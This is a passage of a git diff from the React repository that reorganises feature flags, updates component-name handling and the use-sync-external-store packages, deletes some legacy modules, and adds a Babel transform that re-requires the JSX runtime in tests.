 // Use __VARIANT__ to simulate a GK. The tests will be run twice: once
 // with the __VARIANT__ set to `true`, and once set to `false`.
 
-export const disableSchedulerTimeoutInWorkLoop = __VARIANT__;
-export const enableLazyContextPropagation = __VARIANT__;
-export const forceConcurrentByDefaultForTesting = __VARIANT__;
-export const enableUnifiedSyncLane = __VARIANT__;
-export const enableTransitionTracing = __VARIANT__;
-export const enableDeferRootSchedulingToMicrotask = __VARIANT__;
-export const alwaysThrottleRetries = true;
-export const enableDO_NOT_USE_disableStrictPassiveEffect = __VARIANT__;
-export const enableUseDeferredValueInitialArg = __VARIANT__;
-export const enableRenderableContext = __VARIANT__;
-export const enableFastJSX = __VARIANT__;
-export const enableRetryLaneExpiration = __VARIANT__;
-export const favorSafetyOverHydrationPerf = __VARIANT__;
-export const disableDefaultPropsExceptForClasses = __VARIANT__;
-export const enableNoCloningMemoCache = __VARIANT__;
+export const alwaysThrottleRetries: boolean = __VARIANT__;
+export const disableLegacyContextForFunctionComponents: boolean = __VARIANT__;
+export const disableSchedulerTimeoutInWorkLoop: boolean = __VARIANT__;
+export const enableNoCloningMemoCache: boolean = __VARIANT__;
+export const enableObjectFiber: boolean = __VARIANT__;
+export const enableRetryLaneExpiration: boolean = __VARIANT__;
+export const enableTransitionTracing: boolean = __VARIANT__;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
-export const enableAddPropertiesFastPath = __VARIANT__;
-export const disableLegacyMode = __VARIANT__;
 
-// Enable this flag to help with concurrent mode debugging.
-// It logs information to the console about React scheduling, rendering, and commit phases.
-//
-// NOTE: This feature will only work in DEV mode; all callsites are wrapped with __DEV__.
-export const enableDebugTracing = __EXPERIMENTAL__;
+export const enableSchedulingProfiler: boolean = __VARIANT__;
+
+export const enableInfiniteRenderLoopDetection: boolean = __VARIANT__;
 
-export const enableSchedulingProfiler = __VARIANT__;
+export const enableFastAddPropertiesInDiffing: boolean = __VARIANT__;
+export const enableViewTransition: boolean = __VARIANT__;
+export const enableScrollEndPolyfill: boolean = __VARIANT__;
+export const enableFragmentRefs: boolean = __VARIANT__;
+export const enableFragmentRefsScrollIntoView: boolean = __VARIANT__;
+export const enableFragmentRefsTextNodes: boolean = __VARIANT__;
+export const enableInternalInstanceMap: boolean = __VARIANT__;
+export const enableParallelTransitions: boolean = __VARIANT__;
 
-export const enableInfiniteRenderLoopDetection = __VARIANT__;
+export const enableEffectEventMutationPhase: boolean = __VARIANT__;
 
 // TODO: These flags are hard-coded to the default values used in open source.
 // Update the tests so that they pass in either mode, then set these
 // to __VARIANT__.
-export const enableTrustedTypesIntegration = false;
 // You probably *don't* want to add more hardcoded ones.
 // Instead, try to add them above with the __VARIANT__ value.
diff --git a/packages/shared/forks/ReactFeatureFlags.www.js b/packages/shared/forks/ReactFeatureFlags.www.js
index 9404b877f532..4b42d7811b87 100644
--- a/packages/shared/forks/ReactFeatureFlags.www.js
+++ b/packages/shared/forks/ReactFeatureFlags.www.js
@@ -15,115 +15,115 @@ import typeof * as DynamicFeatureFlags from './ReactFeatureFlags.www-dynamic';
 const dynamicFeatureFlags: DynamicFeatureFlags = require('ReactFeatureFlags');
 
 export const {
-  enableTrustedTypesIntegration,
-  enableDebugTracing,
-  enableLazyContextPropagation,
-  enableUnifiedSyncLane,
-  enableRetryLaneExpiration,
-  enableTransitionTracing,
-  enableDeferRootSchedulingToMicrotask,
   alwaysThrottleRetries,
-  enableDO_NOT_USE_disableStrictPassiveEffect,
+  disableLegacyContextForFunctionComponents,
   disableSchedulerTimeoutInWorkLoop,
-  enableUseDeferredValueInitialArg,
+  enableEffectEventMutationPhase,
+  enableInfiniteRenderLoopDetection,
+  enableNoCloningMemoCache,
+  enableObjectFiber,
+  enableRetryLaneExpiration,
+  enableTransitionTracing,
   retryLaneExpirationMs,
   syncLaneExpirationMs,
   transitionLaneExpirationMs,
-  enableInfiniteRenderLoopDetection,
-  enableRenderableContext,
-  favorSafetyOverHydrationPerf,
-  disableDefaultPropsExceptForClasses,
-  enableNoCloningMemoCache,
-  enableAddPropertiesFastPath,
-  enableFastJSX,
+  enableViewTransition,
+  enableScrollEndPolyfill,
+  enableFragmentRefs,
+  enableFragmentRefsScrollIntoView,
+  enableFragmentRefsTextNodes,
+  enableInternalInstanceMap,
+  enableParallelTransitions,
 } = dynamicFeatureFlags;
 
 // On WWW, __EXPERIMENTAL__ is used for a new modern build.
 // It's not used anywhere in production yet.
 
-export const debugRenderPhaseSideEffectsForStrictMode = __DEV__;
 export const enableProfilerTimer = __PROFILE__;
 export const enableProfilerCommitHooks = __PROFILE__;
 export const enableProfilerNestedUpdatePhase = __PROFILE__;
 export const enableUpdaterTracking = __PROFILE__;
+export const enableTrustedTypesIntegration: boolean = true;
+export const enableSuspenseAvoidThisFallback: boolean = true;
 
-export const enableSuspenseAvoidThisFallback = true;
-export const enableSuspenseAvoidThisFallbackFizz = false;
+export const enableAsyncDebugInfo: boolean = true;
+export const enableCPUSuspense: boolean = true;
+export const enableMoveBefore: boolean = false;
+export const disableInputAttributeSyncing: boolean = false;
+export const enableLegacyFBSupport: boolean = true;
 
-export const disableIEWorkarounds = true;
-export const enableCPUSuspense = true;
-export const enableUseMemoCacheHook = true;
-export const enableUseEffectEventHook = true;
-export const enableFilterEmptyStringAttributesDOM = true;
-export const enableAsyncActions = true;
-export const disableInputAttributeSyncing = false;
-export const enableLegacyFBSupport = true;
+export const enableYieldingBeforePassive: boolean = false;
+
+export const enableThrottledScheduling: boolean = false;
+
+export const enableComponentPerformanceTrack: boolean = true;
+
+export const enablePerformanceIssueReporting: boolean = false;
 
 // Logs additional User Timing API marks for use with an experimental profiling tool.
 export const enableSchedulingProfiler: boolean =
   __PROFILE__ && dynamicFeatureFlags.enableSchedulingProfiler;
 
 export const disableLegacyContext = __EXPERIMENTAL__;
-export const enableGetInspectorDataForInstanceInProduction = false;
-
-export const renameElementSymbol = false;
 
-export const enableCache = true;
-export const enableLegacyCache = true;
+export const enableLegacyCache: boolean = true;
 
-export const enableBinaryFlight = true;
-export const enableFlightReadableStream = true;
-export const enableAsyncIterableChildren = false;
+export const enableAsyncIterableChildren: boolean = false;
 
-export const enableTaint = false;
-
-export const enablePostpone = false;
+export const enableTaint: boolean = false;
 
 // TODO: www currently relies on this feature. It's disabled in open source.
 // Need to remove it.
-export const disableCommentsAsDOMContainers = false;
+export const disableCommentsAsDOMContainers: boolean = false;
 
-export const enableCreateEventHandleAPI = true;
+export const enableCreateEventHandleAPI: boolean = true;
 
-export const enableScopeAPI = true;
+export const enableScopeAPI: boolean = true;
 
-export const enableSuspenseCallback = true;
+export const enableSuspenseCallback: boolean = true;
 
-export const enableLegacyHidden = true;
+export const enableLegacyHidden: boolean = true;
 
-export const enableComponentStackLocations = true;
+export const disableTextareaChildren = __EXPERIMENTAL__;
 
-export const enableRefAsProp = true;
+export const enableFizzExternalRuntime: boolean = true;
 
-export const disableTextareaChildren = __EXPERIMENTAL__;
+export const passChildrenWhenCloningPersistedNodes: boolean = false;
 
-export const allowConcurrentByDefault = true;
+export const disableClientCache: boolean = true;
 
-export const consoleManagedByDevToolsDuringStrictMode = true;
+export const enableReactTestRendererWarning: boolean = false;
 
-export const enableFizzExternalRuntime = true;
+export const disableLegacyMode: boolean = true;
 
-export const forceConcurrentByDefaultForTesting = false;
+export const enableEagerAlternateStateNodeCleanup: boolean = true;
 
-export const passChildrenWhenCloningPersistedNodes = false;
+export const enableViewTransitionForPersistenceMode: boolean = false;
 
-export const enableAsyncDebugInfo = false;
-export const disableClientCache = true;
+export const enableGestureTransition: boolean = false;
 
-export const enableServerComponentLogs = true;
+export const enableSuspenseyImages: boolean = false;
+export const enableFizzBlockingRender: boolean = true;
+export const enableSrcObject: boolean = false;
+export const enableHydrationChangeEvent: boolean = false;
+export const enableDefaultTransitionIndicator: boolean = true;
 
-export const enableReactTestRendererWarning = false;
-export const useModernStrictMode = true;
+export const ownerStackLimit = 1e4;
 
-// TODO: Roll out with GK. Don't keep as dynamic flag for too long, though,
-// because JSX is an extremely hot path.
-export const disableStringRefs = false;
+export const enableFragmentRefsInstanceHandles: boolean = true;
 
-export const disableLegacyMode: boolean =
-  __EXPERIMENTAL__ || dynamicFeatureFlags.disableLegacyMode;
+export const enableOptimisticKey: boolean = false;
 
-export const enableOwnerStacks = false;
-export const enableShallowPropDiffing = false;
+// These flags are only used by eslint-plugin-react-hooks, which has its own
+// fork at ReactFeatureFlags.eslint-plugin.www.js with the www-specific values.
+// Edit that file to change the www values for these flags.
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
 
 // Flow magic to verify the exports of this file match the original version.
 ((((null: any): ExportsType): FeatureFlagsType): ExportsType);
diff --git a/packages/shared/forks/consoleWithStackDev.www.js b/packages/shared/forks/consoleWithStackDev.www.js
deleted file mode 100644
index 5f04f36359fa..000000000000
--- a/packages/shared/forks/consoleWithStackDev.www.js
+++ /dev/null
@@ -1,52 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-// This refers to a WWW module.
-const warningWWW = require('warning');
-
-let suppressWarning = false;
-export function setSuppressWarning(newSuppressWarning) {
-  if (__DEV__) {
-    suppressWarning = newSuppressWarning;
-  }
-}
-
-export function warn(format, ...args) {
-  if (__DEV__) {
-    if (!suppressWarning) {
-      printWarning('warn', format, args, new Error('react-stack-top-frame'));
-    }
-  }
-}
-
-export function error(format, ...args) {
-  if (__DEV__) {
-    if (!suppressWarning) {
-      printWarning('error', format, args, new Error('react-stack-top-frame'));
-    }
-  }
-}
-
-function printWarning(level, format, args, currentStack) {
-  if (__DEV__) {
-    const React = require('react');
-    const ReactSharedInternals =
-      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;
-    // Defensive in case this is fired before React is initialized.
-    if (ReactSharedInternals != null && ReactSharedInternals.getCurrentStack) {
-      const stack = ReactSharedInternals.getCurrentStack(currentStack);
-      if (stack !== '') {
-        format += '%s';
-        args.push(stack);
-      }
-    }
-    // TODO: don't ignore level and pass it down somewhere too.
-    args.unshift(format);
-    args.unshift(false);
-    warningWWW.apply(null, args);
-  }
-}
diff --git a/packages/shared/getComponentNameFromType.js b/packages/shared/getComponentNameFromType.js
index b0e2a0f782a5..d9ed331660fe 100644
--- a/packages/shared/getComponentNameFromType.js
+++ b/packages/shared/getComponentNameFromType.js
@@ -18,17 +18,18 @@ import {
   REACT_PORTAL_TYPE,
   REACT_MEMO_TYPE,
   REACT_PROFILER_TYPE,
-  REACT_PROVIDER_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_SUSPENSE_TYPE,
   REACT_SUSPENSE_LIST_TYPE,
   REACT_LAZY_TYPE,
   REACT_TRACING_MARKER_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_ACTIVITY_TYPE,
 } from 'shared/ReactSymbols';
 
 import {
   enableTransitionTracing,
-  enableRenderableContext,
+  enableViewTransition,
 } from './ReactFeatureFlags';
 
 // Keep in sync with react-reconciler/getComponentNameFromFiber
@@ -71,8 +72,6 @@ export default function getComponentNameFromType(type: mixed): string | null {
   switch (type) {
     case REACT_FRAGMENT_TYPE:
       return 'Fragment';
-    case REACT_PORTAL_TYPE:
-      return 'Portal';
     case REACT_PROFILER_TYPE:
       return 'Profiler';
     case REACT_STRICT_MODE_TYPE:
@@ -81,6 +80,12 @@ export default function getComponentNameFromType(type: mixed): string | null {
       return 'Suspense';
     case REACT_SUSPENSE_LIST_TYPE:
       return 'SuspenseList';
+    case REACT_ACTIVITY_TYPE:
+      return 'Activity';
+    case REACT_VIEW_TRANSITION_TYPE:
+      if (enableViewTransition) {
+        return 'ViewTransition';
+      }
     // Fall through
     case REACT_TRACING_MARKER_TYPE:
       if (enableTransitionTracing) {
@@ -97,27 +102,14 @@ export default function getComponentNameFromType(type: mixed): string | null {
       }
     }
     switch (type.$$typeof) {
-      case REACT_PROVIDER_TYPE:
-        if (enableRenderableContext) {
-          return null;
-        } else {
-          const provider = (type: any);
-          return getContextName(provider._context) + '.Provider';
-        }
+      case REACT_PORTAL_TYPE:
+        return 'Portal';
       case REACT_CONTEXT_TYPE:
         const context: ReactContext<any> = (type: any);
-        if (enableRenderableContext) {
-          return getContextName(context) + '.Provider';
-        } else {
-          return getContextName(context) + '.Consumer';
-        }
+        return getContextName(context);
       case REACT_CONSUMER_TYPE:
-        if (enableRenderableContext) {
-          const consumer: ReactConsumerType<any> = (type: any);
-          return getContextName(consumer._context) + '.Consumer';
-        } else {
-          return null;
-        }
+        const consumer: ReactConsumerType<any> = (type: any);
+        return getContextName(consumer._context) + '.Consumer';
       case REACT_FORWARD_REF_TYPE:
         return getWrappedName(type, type.render, 'ForwardRef');
       case REACT_MEMO_TYPE:
diff --git a/packages/shared/isArray.js b/packages/shared/isArray.js
index f1f500c01129..da50301a720e 100644
--- a/packages/shared/isArray.js
+++ b/packages/shared/isArray.js
@@ -7,11 +7,13 @@
  * @flow
  */
 
-declare function isArray(a: mixed): boolean %checks(Array.isArray(a));
+declare function isArray<T>(
+  v: T,
+  // eslint-disable-next-line
+): v is T extends $ReadOnlyArray<mixed> ? T : empty;
 
 const isArrayImpl = Array.isArray;
 
-// eslint-disable-next-line no-redeclare
 function isArray(a: mixed): boolean {
   return isArrayImpl(a);
 }
diff --git a/packages/shared/isValidElementType.js b/packages/shared/isValidElementType.js
deleted file mode 100644
index 6d5397be33e7..000000000000
--- a/packages/shared/isValidElementType.js
+++ /dev/null
@@ -1,81 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import {
-  REACT_CONTEXT_TYPE,
-  REACT_CONSUMER_TYPE,
-  REACT_PROVIDER_TYPE,
-  REACT_FORWARD_REF_TYPE,
-  REACT_FRAGMENT_TYPE,
-  REACT_PROFILER_TYPE,
-  REACT_DEBUG_TRACING_MODE_TYPE,
-  REACT_STRICT_MODE_TYPE,
-  REACT_SUSPENSE_TYPE,
-  REACT_SUSPENSE_LIST_TYPE,
-  REACT_MEMO_TYPE,
-  REACT_LAZY_TYPE,
-  REACT_SCOPE_TYPE,
-  REACT_LEGACY_HIDDEN_TYPE,
-  REACT_OFFSCREEN_TYPE,
-  REACT_TRACING_MARKER_TYPE,
-} from 'shared/ReactSymbols';
-import {
-  enableScopeAPI,
-  enableTransitionTracing,
-  enableDebugTracing,
-  enableLegacyHidden,
-  enableRenderableContext,
-} from './ReactFeatureFlags';
-
-const REACT_CLIENT_REFERENCE: symbol = Symbol.for('react.client.reference');
-
-// This function is deprecated. Don't use. Only the renderer knows what a valid type is.
-// TODO: Delete this when enableOwnerStacks ships.
-export default function isValidElementType(type: mixed): boolean {
-  if (typeof type === 'string' || typeof type === 'function') {
-    return true;
-  }
-
-  // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).
-  if (
-    type === REACT_FRAGMENT_TYPE ||
-    type === REACT_PROFILER_TYPE ||
-    (enableDebugTracing && type === REACT_DEBUG_TRACING_MODE_TYPE) ||
-    type === REACT_STRICT_MODE_TYPE ||
-    type === REACT_SUSPENSE_TYPE ||
-    type === REACT_SUSPENSE_LIST_TYPE ||
-    (enableLegacyHidden && type === REACT_LEGACY_HIDDEN_TYPE) ||
-    type === REACT_OFFSCREEN_TYPE ||
-    (enableScopeAPI && type === REACT_SCOPE_TYPE) ||
-    (enableTransitionTracing && type === REACT_TRACING_MARKER_TYPE)
-  ) {
-    return true;
-  }
-
-  if (typeof type === 'object' && type !== null) {
-    if (
-      type.$$typeof === REACT_LAZY_TYPE ||
-      type.$$typeof === REACT_MEMO_TYPE ||
-      type.$$typeof === REACT_CONTEXT_TYPE ||
-      (!enableRenderableContext && type.$$typeof === REACT_PROVIDER_TYPE) ||
-      (enableRenderableContext && type.$$typeof === REACT_CONSUMER_TYPE) ||
-      type.$$typeof === REACT_FORWARD_REF_TYPE ||
-      // This needs to include all possible module reference object
-      // types supported by any Flight configuration anywhere since
-      // we don't know which Flight build this will end up being used
-      // with.
-      type.$$typeof === REACT_CLIENT_REFERENCE ||
-      type.getModuleId !== undefined
-    ) {
-      return true;
-    }
-  }
-
-  return false;
-}
diff --git a/packages/shared/noop.js b/packages/shared/noop.js
new file mode 100644
index 000000000000..0188292909d9
--- /dev/null
+++ b/packages/shared/noop.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export default function noop() {}
diff --git a/packages/shared/reportGlobalError.js b/packages/shared/reportGlobalError.js
index 6cdb13d6a14a..fd3d0b34ab6a 100644
--- a/packages/shared/reportGlobalError.js
+++ b/packages/shared/reportGlobalError.js
@@ -45,7 +45,6 @@ const reportGlobalError: (error: mixed) => void =
           process.emit('uncaughtException', error);
           return;
         }
-        // eslint-disable-next-line react-internal/no-production-logging
         console['error'](error);
       };
 
diff --git a/packages/use-subscription/package.json b/packages/use-subscription/package.json
index 4f9a38be4609..a784ea751e7a 100644
--- a/packages/use-subscription/package.json
+++ b/packages/use-subscription/package.json
@@ -1,7 +1,7 @@
 {
   "name": "use-subscription",
   "description": "Reusable hooks",
-  "version": "1.8.0",
+  "version": "1.13.0",
   "repository": {
     "type": "git",
     "url": "https://github.com/facebook/react.git",
@@ -21,6 +21,6 @@
     "rxjs": "^5.5.6"
   },
   "dependencies": {
-    "use-sync-external-store": "^1.2.0"
+    "use-sync-external-store": "^1.5.0"
   }
 }
diff --git a/packages/use-subscription/src/__tests__/useSubscription-test.js b/packages/use-subscription/src/__tests__/useSubscription-test.js
index d54d806354b6..6642ab35afb1 100644
--- a/packages/use-subscription/src/__tests__/useSubscription-test.js
+++ b/packages/use-subscription/src/__tests__/useSubscription-test.js
@@ -19,6 +19,7 @@ let ReplaySubject;
 let assertLog;
 let waitForAll;
 let waitFor;
+let waitForPaint;
 
 describe('useSubscription', () => {
   beforeEach(() => {
@@ -37,6 +38,7 @@ describe('useSubscription', () => {
 
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
+    waitForPaint = InternalTestUtils.waitForPaint;
     assertLog = InternalTestUtils.assertLog;
     waitFor = InternalTestUtils.waitFor;
   });
@@ -434,13 +436,9 @@ describe('useSubscription', () => {
       observableA.next('a-2');
 
       // Update again
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        React.startTransition(() => {
-          root.render(<Parent observed={observableA} />);
-        });
-      } else {
+      React.startTransition(() => {
         root.render(<Parent observed={observableA} />);
-      }
+      });
 
       // Flush everything and ensure that the correct subscribable is used
       await waitForAll([
@@ -599,7 +597,7 @@ describe('useSubscription', () => {
       React.startTransition(() => {
         mutate('C');
       });
-      await waitFor(['render:first:C', 'render:second:C']);
+      await waitForPaint(['render:first:C', 'render:second:C']);
       React.startTransition(() => {
         mutate('D');
       });
diff --git a/packages/use-sync-external-store/package.json b/packages/use-sync-external-store/package.json
index f9b40856598b..5ca1f42860f1 100644
--- a/packages/use-sync-external-store/package.json
+++ b/packages/use-sync-external-store/package.json
@@ -1,7 +1,23 @@
 {
   "name": "use-sync-external-store",
   "description": "Backwards compatible shim for React's useSyncExternalStore. Works with any React that supports hooks.",
-  "version": "1.2.0",
+  "version": "1.7.0",
+  "exports": {
+    ".": "./index.js",
+    "./with-selector": "./with-selector.js",
+    "./with-selector.js": "./with-selector.js",
+    "./shim": {
+      "react-native": "./shim/index.native.js",
+      "default": "./shim/index.js"
+    },
+    "./shim/index.js": "./shim/index.js",
+    "./shim/index.native": "./shim/index.native.js",
+    "./shim/index.native.js": "./shim/index.native.js",
+    "./shim/with-selector": "./shim/with-selector.js",
+    "./shim/with-selector.js": "./shim/with-selector.js",
+    "./package.json": "./package.json",
+    "./src/*": "./src/*.js"
+  },
   "repository": {
     "type": "git",
     "url": "https://github.com/facebook/react.git",
diff --git a/packages/use-sync-external-store/shim/with-selector/index.js b/packages/use-sync-external-store/shim/with-selector.js
similarity index 100%
rename from packages/use-sync-external-store/shim/with-selector/index.js
rename to packages/use-sync-external-store/shim/with-selector.js
diff --git a/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreNative-test.js b/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreNative-test.js
index cb4e91ddc488..98f0f017b352 100644
--- a/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreNative-test.js
+++ b/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreNative-test.js
@@ -33,9 +33,7 @@ describe('useSyncExternalStore (userspace shim, server rendering)', () => {
     // React 17.
     jest.mock('react', () => {
       const {
-        // eslint-disable-next-line no-unused-vars
         startTransition: _,
-        // eslint-disable-next-line no-unused-vars
         useSyncExternalStore: __,
         ...otherExports
       } = jest.requireActual('react');
diff --git a/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShared-test.js b/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShared-test.js
index 6f7232674a3f..f2e290215557 100644
--- a/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShared-test.js
+++ b/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShared-test.js
@@ -637,15 +637,19 @@ describe('Shared useSyncExternalStore behavior (shim and built-in)', () => {
     assertConsoleErrorDev(
       gate(flags => flags.enableUseSyncExternalStoreShim)
         ? [
-            [
-              'The result of getSnapshot should be cached to avoid an infinite loop',
-              {withoutStack: true},
-            ],
-            'Error: Maximum update depth exceeded',
-            'The above error occurred i',
+            'The result of getSnapshot should be cached to avoid an infinite loop',
+            'Error: Maximum update depth exceeded. ' +
+              'This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. ' +
+              'React limits the number of nested updates to prevent infinite loops.' +
+              '\n    in <stack>',
+            'The above error occurred in the <App> component:\n\n' +
+              '    in App (at **)\n\n' +
+              'Consider adding an error boundary to your tree to customize error handling behavior.\n' +
+              'Visit https://reactjs.org/link/error-boundaries to learn more about error boundaries.',
           ]
         : [
-            'The result of getSnapshot should be cached to avoid an infinite loop',
+            'The result of getSnapshot should be cached to avoid an infinite loop' +
+              '\n    in App (at **)',
           ],
     );
   });
@@ -839,7 +843,12 @@ describe('Shared useSyncExternalStore behavior (shim and built-in)', () => {
         await act(() => {
           ReactDOM.hydrate(React.createElement(App, null), container);
         });
-        assertConsoleErrorDev(['Text content did not match']);
+        assertConsoleErrorDev([
+          'Warning: Text content did not match. Server: "server" Client: "client"\n' +
+            '    in Text (at **)\n' +
+            '    in div (at **)\n' +
+            '    in App (at **)',
+        ]);
         assertLog(['client', 'Passive effect: client']);
       }
       expect(container.textContent).toEqual('client');
diff --git a/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShimServer-test.js b/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShimServer-test.js
index 94256283728b..f11e7a6c53ae 100644
--- a/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShimServer-test.js
+++ b/packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShimServer-test.js
@@ -32,9 +32,7 @@ describe('useSyncExternalStore (userspace shim, server rendering)', () => {
     // React 17.
     jest.mock('react', () => {
       const {
-        // eslint-disable-next-line no-unused-vars
         startTransition: _,
-        // eslint-disable-next-line no-unused-vars
         useSyncExternalStore: __,
         ...otherExports
       } = jest.requireActual('react');
diff --git a/packages/use-sync-external-store/src/useSyncExternalStoreWithSelector.js b/packages/use-sync-external-store/src/useSyncExternalStoreWithSelector.js
index 5b04ae892c87..ddbd77c69822 100644
--- a/packages/use-sync-external-store/src/useSyncExternalStoreWithSelector.js
+++ b/packages/use-sync-external-store/src/useSyncExternalStoreWithSelector.js
@@ -23,8 +23,7 @@ export function useSyncExternalStoreWithSelector<Snapshot, Selection>(
   selector: (snapshot: Snapshot) => Selection,
   isEqual?: (a: Selection, b: Selection) => boolean,
 ): Selection {
-  // Use this to track the rendered snapshot.
-  const instRef = useRef<
+  type Inst =
     | {
         hasValue: true,
         value: Selection,
@@ -32,10 +31,11 @@ export function useSyncExternalStoreWithSelector<Snapshot, Selection>(
     | {
         hasValue: false,
         value: null,
-      }
-    | null,
-  >(null);
-  let inst;
+      };
+
+  // Use this to track the rendered snapshot.
+  const instRef = useRef<Inst | null>(null);
+  let inst: Inst;
   if (instRef.current === null) {
     inst = {
       hasValue: false,
@@ -93,6 +93,9 @@ export function useSyncExternalStoreWithSelector<Snapshot, Selection>(
       // to React that the selections are conceptually equal, and we can bail
       // out of rendering.
       if (isEqual !== undefined && isEqual(prevSelection, nextSelection)) {
+        // The snapshot still has changed, so make sure to update to not keep
+        // old references alive
+        memoizedSnapshot = nextSnapshot;
         return prevSelection;
       }
 
diff --git a/scripts/babel/__tests__/transform-lazy-jsx-import-test.js b/scripts/babel/__tests__/transform-lazy-jsx-import-test.js
new file mode 100644
index 000000000000..9437d9e4ebdf
--- /dev/null
+++ b/scripts/babel/__tests__/transform-lazy-jsx-import-test.js
@@ -0,0 +1,30 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+'use strict';
+
+describe('transform-lazy-jsx-import', () => {
+  it('should use the mocked version of the "react" runtime in jsx', () => {
+    jest.resetModules();
+    const mock = jest.fn(type => 'fakejsx: ' + type);
+    if (__DEV__) {
+      jest.mock('react/jsx-dev-runtime', () => {
+        return {
+          jsxDEV: mock,
+        };
+      });
+    } else {
+      jest.mock('react/jsx-runtime', () => ({
+        jsx: mock,
+        jsxs: mock,
+      }));
+    }
+    // eslint-disable-next-line react/react-in-jsx-scope
+    const x = <div />;
+    expect(x).toBe('fakejsx: div');
+    expect(mock).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/scripts/babel/__tests__/transform-test-gate-pragma-test.js b/scripts/babel/__tests__/transform-test-gate-pragma-test.js
index f4abf54bec0e..6250b5b4ded1 100644
--- a/scripts/babel/__tests__/transform-test-gate-pragma-test.js
+++ b/scripts/babel/__tests__/transform-test-gate-pragma-test.js
@@ -221,4 +221,8 @@ describe('dynamic gate method', () => {
   it('returns same conditions as pragma', () => {
     expect(gate(ctx => ctx.experimental && ctx.__DEV__)).toBe(true);
   });
+
+  it('converts string conditions to accessor function', () => {
+    expect(gate('experimental')).toBe(gate(flags => flags.experimental));
+  });
 });
diff --git a/scripts/babel/transform-lazy-jsx-import.js b/scripts/babel/transform-lazy-jsx-import.js
new file mode 100644
index 000000000000..ae7ee8c3632d
--- /dev/null
+++ b/scripts/babel/transform-lazy-jsx-import.js
@@ -0,0 +1,92 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+'use strict';
+
+// Most of our tests call jest.resetModules in a beforeEach and the
+// re-require all the React modules. However, the JSX runtime is injected by
+// the compiler, so those bindings don't get updated. This causes warnings
+// logged by the JSX runtime to not have a component stack, because component
+// stack relies on the the secret internals object that lives on the React
+// module, which because of the resetModules call is longer the same one.
+//
+// To workaround this issue, use a transform that calls require() again before
+// every JSX invocation.
+//
+// Longer term we should migrate all our tests away from using require() and
+// resetModules, and use import syntax instead so this kind of thing doesn't
+// happen.
+
+module.exports = function replaceJSXImportWithLazy(babel) {
+  const {types: t} = babel;
+
+  function getInlineRequire(moduleName) {
+    return t.callExpression(t.identifier('require'), [
+      t.stringLiteral(moduleName),
+    ]);
+  }
+
+  return {
+    visitor: {
+      CallExpression: function (path, pass) {
+        let callee = path.node.callee;
+        if (callee.type === 'SequenceExpression') {
+          callee = callee.expressions[callee.expressions.length - 1];
+        }
+        if (callee.type === 'Identifier') {
+          // Sometimes we seem to hit this before the imports are transformed
+          // into requires and so we hit this case.
+          switch (callee.name) {
+            case '_jsxDEV':
+              path.node.callee = t.memberExpression(
+                getInlineRequire('react/jsx-dev-runtime'),
+                t.identifier('jsxDEV')
+              );
+              return;
+            case '_jsx':
+              path.node.callee = t.memberExpression(
+                getInlineRequire('react/jsx-runtime'),
+                t.identifier('jsx')
+              );
+              return;
+            case '_jsxs':
+              path.node.callee = t.memberExpression(
+                getInlineRequire('react/jsx-runtime'),
+                t.identifier('jsxs')
+              );
+              return;
+          }
+          return;
+        }
+        if (callee.type !== 'MemberExpression') {
+          return;
+        }
+        if (callee.property.type !== 'Identifier') {
+          // Needs to be jsx, jsxs, jsxDEV.
+          return;
+        }
+        if (callee.object.type !== 'Identifier') {
+          // Needs to be _reactJsxDevRuntime or _reactJsxRuntime.
+          return;
+        }
+        // Replace the cached identifier with a new require call.
+        // Relying on the identifier name is a little flaky. Should ideally pick
+        // this from the import. For some reason it sometimes has the react prefix
+        // and other times it doesn't.
+        switch (callee.object.name) {
+          case '_reactJsxDevRuntime':
+          case '_jsxDevRuntime':
+            callee.object = getInlineRequire('react/jsx-dev-runtime');
+            return;
+          case '_reactJsxRuntime':
+          case '_jsxRuntime':
+            callee.object = getInlineRequire('react/jsx-runtime');
+            return;
+        }
+      },
+    },
+  };
+};
diff --git a/scripts/babel/transform-prevent-infinite-loops.js b/scripts/babel/transform-prevent-infinite-loops.js
index aa88377cc04c..635526c14e99 100644
--- a/scripts/babel/transform-prevent-infinite-loops.js
